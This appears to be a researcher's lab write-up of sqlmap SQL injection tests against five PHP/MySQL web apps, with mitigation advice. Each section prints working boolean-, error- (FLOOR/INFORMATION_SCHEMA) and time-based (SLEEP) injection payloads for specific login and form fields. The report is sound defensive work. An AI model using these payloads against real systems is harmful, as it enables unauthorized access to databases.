Between February and March 2025 I ran a series of SQL injection assessments against five PHP/MySQL web applications deployed in isolated lab environments. The targets ranged from a simple login page to a multi-form travel management system. Every application tested returned at least one confirmed injection point.
All tests used sqlmap — the open-source SQL injection automation tool — and all findings are presented here with sanitized payloads. The goal is to document real-world vulnerability patterns and provide actionable mitigations for developers.
Vulnerability Matrix
Summary of injection types found across all five targets. All apps ran PHP on Apache with a MariaDB/MySQL backend.
| Target | Boolean-Based | Error-Based | Time-Based | Requests |
|---|---|---|---|---|
| Local Web App (LOG-001) | ✓ | ✓ | ✓ | 119 |
| Travel System — Login (LOG-002) | ✓ | — | ✓ | 769 |
| Travel System — Forms (LOG-003) | — | — | ✓ | 260 |
| User Registration — Email (LOG-004) | ✓ | ✓ | ✓ | 272 |
| Bus Management System (LOG-005) | ✓ | ✓ | ✓ | 132 |
Local Web App — Login Form
A straightforward login form with a user POST parameter exposed three distinct injection vectors. This is the most complete injection profile in this test series — all three major blind and in-band types were confirmed.
| Parameter | Method | Injection Type |
|---|---|---|
| user | POST | Boolean-based blind (OR clause) |
| user | POST | Error-based (FLOOR) |
| user | POST | Time-based blind (SLEEP) |
# Parameter: user (POST) — OR boolean-based blind user=-5459' OR 3914=3914#&pwd=sdfgsdf
# Parameter: user (POST) — MySQL FLOOR error-based user=dfgsdf' AND (SELECT ... FLOOR(RAND(0)*2))-- VRPJ&pwd=sdfgsdf
# Parameter: user (POST) — SLEEP-based time delay user=dfgsdf' AND SLEEP(5)-- vbgY&pwd=sdfgsdf
Travel Management System — Login Form
The login form of this travel management system was vulnerable to two injection types. Notably this test required 769 HTTP requests — the highest in the series — suggesting the application had some form of response variation that required more probing to confirm.
| Parameter | Method | Injection Type |
|---|---|---|
| username | POST | Boolean-based blind (NOT clause) |
| username | POST | Time-based blind (SLEEP) |
# Parameter: username (POST) — OR NOT boolean-based username=ss' OR NOT 9157=9157-- DRkR&password=dd&login=Login
# Parameter: username (POST) — subquery SLEEP username=ss' AND (SELECT 4945 FROM (SELECT(SLEEP(5)))GSUK)-- OYSx&password=dd
Travel Management System — Multiple Form Inputs
A second assessment of the same travel management system — this time targeting two distinct form inputs on separate pages. Both the login username field and the message form's firstname field were confirmed vulnerable to time-based blind injection. This demonstrates that the lack of input sanitization was application-wide, not limited to one endpoint.
| Parameter | Method | Form | Injection Type |
|---|---|---|---|
| username | POST | Login form | Time-based blind (SLEEP) |
| firstname | POST | Message form | Time-based blind (SLEEP) |
# Parameter: username — login form username=ss' AND (SELECT 7981 FROM (SELECT(SLEEP(5)))JEzE) AND 'QYRN'='QYRN &password=dd&login=Login
# Parameter: firstname — message form (separate endpoint) firstname=kk' AND (SELECT 8085 FROM (SELECT(SLEEP(5)))rRzr) AND 'XFtD'='XFtD &message=kk&submit=Submit
User Registration System — Email Field
A user registration endpoint exposed the Email field to all three injection types. The error-based payload here is particularly notable — it uses the INFORMATION_SCHEMA.PLUGINS table with a GROUP BY and FLOOR RAND trick, which can leak data through MySQL error messages when error reporting is enabled.
| Parameter | Method | Injection Type |
|---|---|---|
| POST | Boolean-based blind (AND clause) | |
| POST | Error-based (FLOOR / INFORMATION_SCHEMA) | |
| POST | Time-based blind (SLEEP) |
# Leaks data via MySQL FLOOR(RAND) error in GROUP BY Email=dd@gmail.com' AND (SELECT 6667 FROM( SELECT COUNT(*), CONCAT(0x717a6a7871, (SELECT (ELT(6667=6667,1))), 0x7176766271, FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x )a)-- Slta
# Parameter: Email — subquery SLEEP Email=dd@gmail.com' AND (SELECT 5386 FROM (SELECT(SLEEP(5)))qdfU)-- bygY
Bus Management System — Login Form
The bus management system login was vulnerable to all three injection types in only 132 requests — the most efficient detection in the series. The NOT-based boolean payload was also used here, alongside the standard error-based FLOOR technique and a SLEEP-based time delay.
| Parameter | Method | Injection Type |
|---|---|---|
| username | POST | Boolean-based blind (OR NOT) |
| username | POST | Error-based (FLOOR) |
| username | POST | Time-based blind (SLEEP) |
# Parameter: username — OR NOT boolean blind username=sdfg' OR NOT 1458=1458#&password=sdfgdfg&login=Login
# FLOOR(RAND) error extraction via GROUP BY username=sdfg' AND (SELECT 4580 FROM( SELECT COUNT(*), CONCAT(0x7162787871, (SELECT (ELT(4580=4580,1))), 0x7176767071, FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x )a)-- Xqpe
Mitigations — Applied to All Five Targets
Every vulnerability found across these five applications shares the same root cause: unsanitized user input interpolated directly into SQL queries. The fixes below eliminate all identified injection vectors.
The single most effective fix. User input is never interpolated into the SQL string — it is passed as a separate parameter that the database driver handles safely.
Even with prepared statements, validate that inputs match expected formats — emails should be emails, integers should be integers. Reject anything that doesn't conform before it reaches the database layer.
Error-based injection (used in LOGs 001, 004, 005) depends on MySQL error output being visible to the client. In production, set display_errors = Off and log errors server-side only.
Frameworks like Laravel's Eloquent, Doctrine, or Django ORM build parameterized queries by default. They eliminate manual query construction errors across the entire application — not just one endpoint.
The database user your application connects with should only have SELECT, INSERT, UPDATE permissions on the tables it needs — never DROP, GRANT, or access to INFORMATION_SCHEMA.
Consolidated Findings
SERIES_ID = "LOG-2025-001 through LOG-2025-005" DATE = "2025-03-10" RESEARCHER = "Habtamu Bitew Gashu" TOOL = "sqlmap (open source)" METHOD = "Black-box automated injection testing" ENVIRONMENT = "Local / controlled lab — no production systems" # ── Targets ────────────────────────────────────────────── TARGET_1 = { "app": "Local Web App", "requests": 119, "vulns": 3 } TARGET_2 = { "app": "Travel System — Login", "requests": 769, "vulns": 2 } TARGET_3 = { "app": "Travel System — Forms", "requests": 260, "vulns": 2 } TARGET_4 = { "app": "User Registration", "requests": 272, "vulns": 3 } TARGET_5 = { "app": "Bus Management System", "requests": 132, "vulns": 3 } # ── Aggregate ──────────────────────────────────────────── TOTAL_REQUESTS = 1552 TARGETS_VULNERABLE = 5 / 5 # 100% hit rate BOOLEAN_BASED_FOUND = 4 # LOGs 001, 002, 004, 005 ERROR_BASED_FOUND = 3 # LOGs 001, 004, 005 TIME_BASED_FOUND = 5 # all five targets UNIQUE_PARAMS = ["user", "username", "Email", "firstname"] BACKEND_STACK = "PHP 8.x / Apache 2.4.x / MySQL (MariaDB fork)" # ── Root cause ─────────────────────────────────────────── ROOT_CAUSE = "Unsanitized user input interpolated directly into SQL queries" MISSING = ["Prepared statements", "Input validation", "Error suppression"]